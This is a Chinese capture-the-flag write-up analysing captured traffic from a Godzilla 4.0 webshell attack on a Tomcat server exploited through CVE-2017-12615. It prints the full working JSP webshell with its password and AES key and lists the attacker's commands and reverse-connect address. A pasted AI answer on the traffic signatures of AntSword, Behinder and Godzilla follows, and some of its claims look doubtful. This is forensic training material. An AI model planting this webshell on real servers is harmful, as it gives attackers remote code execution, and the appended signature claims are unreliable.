玄机 第六章 哥斯拉4.0流量分析

玄机 第六章 哥斯拉4.0流量分析

简介

请你登录服务器结合数据包附件来分析黑客的入侵行为

用户名:root

密码:xj@gsl4.0

SSH连接:ssh root@ip -p 222
1.黑客的IP是什么
flag{192.168.31.190}
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)

筛选http请求,点击Info可以根据字母顺序进行排序并且把相同类型的数据包排放在一起,然后可以清楚地注意到有两个put请求

image-20250303111656918先了解一下put请求是什么

HTTP PUT 请求方法创建一个新的资源或用请求的有效载荷替换目标资源的表示。

PUTPOST 方法的区别是,PUT 方法是幂等的:调用一次与连续调用多次效果是相同的(即没有作用),而连续调用多次相同的 POST 方法可能会有副作用,比如多次提交同一订单。

接下来右键查看put请求的http流

image-20250303111746770

从第一个put请求的流可以看到明显上传了webshell

这里问的是cve漏洞

所以直接上浏览器关键字搜索

image-20250303112000416

可以得到cve漏洞编号

flag{CVE-2017-12615}

这里需要分析一下put上传的webshell,有利于后续做题

<%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}

String xc=“1710acba6220f62b”; String pass=“7f0e6f”; String md5=md5(pass+xc);

这里的xc是AES加密的密钥,pass是接下来发包传参的参数,md5的值用于最后验证

class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}

自定义类加载器,允许动态加载外部字节码,绕过Java的类加载机制,加载恶意代码。

public byte[] x(byte[] s, boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(),“AES”));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}

该方法用于AES加密和解密,以xc的值作为密钥

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance(“MD5”);
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}

该方法用于md5加密

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object Encoder = base64.getMethod(“getEncoder”, null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod(“encodeToString”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Encoder”);
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod(“encode”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object decoder = base64.getMethod(“getDecoder”, null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod(“decode”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Decoder”);
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod(“decodeBuffer”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

这两个方法用于base64加密和base64解密

<%try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data, false);
if (session.getAttribute(“payload”)==null){
session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute(“parameters”,data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute(“payload”)).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}catch (Exception e){}

这个是主体部分,先对pass传参进来的值进行base64解码再进行AES解码,如果 session 中没有 payload,则将解密后的字节码加载为一个类并存储到 session 中。如果 session 中已有 payload,则实例化该类,并通过调用 equals 方法(实际上可能是被重写的恶意方法)执行恶意代码。

3、黑客上传的木马文件名是什么?(提交文件名)

从这一堆数据包可以看出post请求的hello.jsp就是木马文件

flag{hello.jsp}
4、黑客上传的木马连接密码是什么?

从第2题对webshell的分析可以知道,木马连接密码为pass的值

flag{7f0e6f}
5、黑客上传的木马解密密钥是什么?

从第2题对webshell的分析可以知道,木马解密密钥为xc的值

flag{1710acba6220f62b}
6、黑客连接webshell后执行的第一条命令是什么?

这里问的是第一条命令,所以这里需要我们根据时间来排序

筛选http,点击time栏目,接下来查找上传的webshell最早执行的第一条命令,往下翻,发现前面大量响应包的状态码都不是200,都没成功响应

image-20250303180325160

接着往下翻,发现了200返回状态码,一个一个看,把hello.jsp的post请求的7f0e6f参数的值放到蓝队分析研判工具箱中进行哥斯拉解码,

发现了最早的命令

image-20250303180750264

分析这段代码,可以得到执行的第一条命令是

flag{uname -r}

uname -r :作用是显示正在使用的内核版本

7、黑客连接webshell时査询当前shell的权限是什么?

这里问的是当前shell的权限,逐个对数据包的参数值解密,可以发现有一条数据包执行了id的命令,

image-20250303183718161

image-20250303183749836

根据已有储备知识可以知道id的作用就是查询当前用户的信息

查看响应的内容

image-20250303183916821

所以当前权限为root权限

flag{root}
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

从上面第6题可以知道uname -r显示的是内核版本

这里问的是发现版本,所以还需要往下看

逐个解密,可以发现一条含有release的命令的数据包,可以猜到是发行版本

image-20250303185158332

image-20250303185526904

查了一下,cat /etc/os-release确实是查询linux系统发行版本,

image-20250303190058720

所以系统发行版本为

flag{Debian GNU/Linux 10 (buster)}
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

看到过滤就想到了grep,刚刚逐个解密的过程中有印象,所以很快就找到了

image-20250303190508390

image-20250303190338145

题目强调了要执行成功的命令,所以这里还需要看一下返回包的内容

image-20250303195939677

显示not found,显然不是这个,接着往下翻

发现了这个命令,

dpkg -l libpam-modules:amd64

问了一下ai,这条命令的作用就是查询系统中是否安装了 libpam-modules:amd64 软件包,并帮助管理员快速确认 PAM 核心模块的安装状态和版本

image-20250303194317653

image-20250303195749766

从这里可以知道执行成功的命令是

flag{dpkg -l libpam-modules:amd64}
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

逐个查找呗

image-20250303190845622

image-20250303190855514

image-20250303190930348

base64解密后得到

image-20250303190951317

flag{192.168.31.143:1313}
11、黑客通过什么文件留下了后门?

按照时间顺序排序往下翻,发现了一个很大的文件,image-20250303201415470

image-20250303201302609

image-20250303201309443

发现了这个文件,查看返回包的内容image-20250303201459895

这里显示ok,说明文件上传成功,

所以flag

flag{pam_unix.so}
<think>嗯,用户想了解蚁剑、冰蝎、哥斯拉这些WebShell工具的流量特征,可能用于安全分析或检测规则制定。首先,我需要回忆一下之前学过的相关知识,并结合提供的引用内容来整理答案。 首先,用户提到的三个工具:蚁剑、冰蝎、哥斯拉,每个工具的网络流量特征可能不同。根据引用内容,引用[3]提到Webshell工具的流量特征分析,其中提到蚁剑在默认编码连接时流量有可读性,而使用base64编码时会加密载荷。冰蝎的流量特征主要是TLS加密和固定请求头,而哥斯拉则使用AES加密和自定义User-Agent,如Shiro等。 接下来,我需要分别整理每个工具的静态和动态特征。比如,蚁剑的流量在默认情况下可能包含特定的参数名,如“ant”或“antsword”,这在引用[3]中有提到。此外,蚁剑的流量中可能会有base64编码的痕迹,尤其是当用户选择base64编码器时,载荷会被多层编码,这可能作为检测点。 对于冰蝎,引用[2]和引用[3]都提到冰蝎2.0和3.0的动态特征。冰蝎2.0的HTTP请求中有固定的Content-Type,如application/octet-stream,而冰蝎3.0则使用更复杂的加密,每次请求会携带不同的Cookie值。同时,冰蝎的流量通常经过TLS加密,所以检测需要关注HTTP头部特征,如User-Agent或Content-Type。 哥斯拉方面,引用[2]指出哥斯拉使用AES加密,生成的payload有默认密码和密钥。此外,哥斯拉的User-Agent可能包含Shiro框架的特征,如“java/1.8”等。在流量中,哥斯拉的请求参数名可能为“pass”,响应内容则是加密后的二进制数据,这需要解密才能识别。 用户可能需要将这些特征用于安全检测规则的制定,所以需要具体指出每个工具的特征点,如HTTP头部的特定字段、加密方式、参数名称等。同时,用户可能关心如何区分这些工具,因此需要对比它们的异同,比如冰蝎和哥斯拉都使用加密,但加密方式和头部特征不同。 另外,引用中提到的哥斯拉支持内存shell和自定义HTTP头,这可能影响检测方法,比如检查异常的User-Agent或Cookie长度。冰蝎的Cookie在3.0版本每次请求都会变化,这可能作为行为分析的依据。 需要确保回答结构清晰,分点说明每个工具的特征,并给出检测建议。可能还需要提醒用户结合静态和动态特征,以及流量解密和日志分析,来增强检测能力。最后,生成相关问题时,可以围绕检测方法、加密流量识别、工具更新带来的特征变化等方面提问。</think>### 蚁剑、冰蝎、哥斯拉WebShell流量特征分析 #### 一、蚁剑(AntSword) 1. **流量特征** - **默认编码连接**:HTTP请求参数名可能包含`ant`或`antsword`,载荷明文传输,例如:`data=@eval(base64_decode($_POST[z0]))`[^3]。 - **Base64编码模式**:请求参数值会经过多层Base64编码,如`z0=JG...`(原始载荷编码后),响应内容也通过Base64返回[^3]。 - **User-Agent**:默认包含`AntSword`标识,但可通过插件修改。 2. **检测建议** - 检查HTTP请求中是否存在`antsword`相关参数名。 - 分析Base64编码后的载荷是否包含PHP函数(如`eval`、`assert`)。 --- #### 二、冰蝎(Behinder) 1. **冰蝎2.0** - **静态特征**: - 请求头中`Content-Type`固定为`application/octet-stream`[^3]。 - 载荷使用AES加密,密钥硬编码在WebShell文件中(如`e45e329feb5d925b`)[^2]。 - **动态特征**: - 首次连接会发送`20`字节的随机密钥协商数据包。 - 后续请求Cookie值固定,如`PHPSESSID=xxx`[^3]。 2. **冰蝎3.0** - **改进特征**: - Cookie值每次请求动态变化,长度固定为16字节。 - 支持TLS加密流量,User-Agent伪装为浏览器(如`Mozilla/5.0`)[^2]。 3. **检测建议** - 识别固定`Content-Type`与异常Cookie长度。 - 分析加密流量是否包含AES加密模式(如CBC模式)。 --- #### 三、哥斯拉(Godzilla) 1. **流量特征** - **加密方式**:默认使用AES加密,密钥动态生成,部分版本存在默认密码(如`pass`)。 - **HTTP头部**: - User-Agent可能包含`Shiro`框架标识(如`java/1.8`)。 - 请求参数名通常为`pass`,响应内容为加密二进制数据[^3]。 - **协议特征**: - JSP型WebShell会调用`ClassLoader`等Java反射机制。 - PHP型WebShell流量中可能包含`xc`、`pass`等关键字[^3]。 2. **检测建议** - 检测异常User-Agent(如`Shiro`相关)。 - 监控Java反射调用或PHP的`eval`函数特征。 --- #### 四、通用检测策略 1. **静态分析**:检查WebShell文件中的硬编码密钥或特定函数(如`ClassLoader`)。 2. **动态流量分析**: - 识别固定参数名(如`ant`、`pass`)。 - 分析加密载荷的熵值,判断是否为AES/Base64编码。 3. **行为检测**:关注异常HTTP请求频率或非常规端口通信。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值